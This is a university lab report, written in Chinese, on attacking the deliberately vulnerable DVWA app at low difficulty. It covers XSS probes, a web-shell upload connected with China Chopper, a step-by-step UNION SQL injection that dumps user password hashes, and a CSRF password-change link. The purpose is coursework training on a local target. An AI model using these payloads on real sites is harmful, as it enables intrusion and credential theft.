****

网络安全理论与技术实验

实 验 报 告

|  |  |
| --- | --- |
| **学 院** | 网络空间安全学院 |
| **专 业** | 网络工程 |
| **班 级** | 18272412 |
| **学 号** | 18041618 |
| **学生姓名** | 廖越强 |
| **教师姓名** | 高梦州 |
| **完成日期** | 2020.11.13 |
| **成 绩** |  |
| **实验一 DVWA漏洞测试** | | |
| 1. **实验目的**   了解学习利用php搭建DVWA漏洞测试环境，并实现low难度，课上讲授的全部攻击（SQL、XSS、文件上传、CSRF） | | |
| 1. **实验原理**   1. XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。  2．文件上传漏洞是指用户上传了一个可执行脚本文件，并通过此文件获得了执行服器端命令的能力  3. SQL 注入是一种将 SQL 代码插入或添加到应用（用户）的输入参数中，之后再讲这些参数传递给后台的 SQL 服务器加以解析并执行的攻击  4. CSRF，全名 Cross Site Request Forgery，跨站请求伪造。很容易将它与 XSS 混淆，对于 CSRF，其两个关键点是跨站点的请求与请求的伪造，由于目标站无 token 或 referer 防御，导致用户的敏感操作的每一个参数都可以被攻击者获知，攻击者即可以伪造一个完全一样的请求以用户的身份达到恶意目的。 | | |
| 1. **实验环境/实验拓扑图** | | |
| **四、主要操作步骤及实验结果记录**   1. 首先把安全等级调低（low）     之后开始测试。   1. XSS Reflected   输入<h1>a</h1>，得到结果，说明标签没有被过滤，接下来试试<script>标签    输入<alert>alert(‘lyq’)</alert>     1. 文件上传       访问该文件    编写一句话木马    上传后，用中国菜刀连接，如图，成功连接       1. SQL注入   分别使用1和1’判断是存在注入    报错了，说明存在注入点    输入1' or 1=1 order by 2#，查询成功：  输入1' or 1=1 order by 3#，报错了，说明有只有两个字段，即这里的First name、Surname。  输入1' union select 1,database()# 得到数据库名dvwa    数据库版本太低时，可能会出现Illegal mix of collations for operation 'UNION'的意外错误  猜表名  1' union select 1,group\_concat(table\_name) from information\_schema.tables where table\_schema=database()#    猜列名（字段名）  1' union select 1,group\_concat(column\_name) from information\_schema.columns where table\_name='users' #    下载数据  1' or 1=1 union select group\_concat(user\_id,first\_name,last\_name),group\_concat(password) from users #    最后再将md5值破译即可，例如第二个md5值    这样就得到了users表中所有用户的first\_name,last\_name,password的数据。   1. CSRF   构造如下链接  http://127.0.0.1/DVWA/vulnerabilities/csrf/?password\_new=password1&password\_conf=password1&Change=Change#  目标用户点击后则会将自己的密码修改为password1    测试密码有效性，可见密码已经成功修改 | | |
| 1. **实验分析总结及心得**   通过这次实验，我对SQL注入攻击、XSS攻击、CSRF攻击以及文件上传漏洞等安全知识有了新的认识，学会了这些攻击的基本操作，对它们的攻击流程有了一个清晰的思路。也对这几种不同层面的攻击概念有了更深入的理解，明白了网站安全防护的重要性。提高了自己的安全意识。 | | |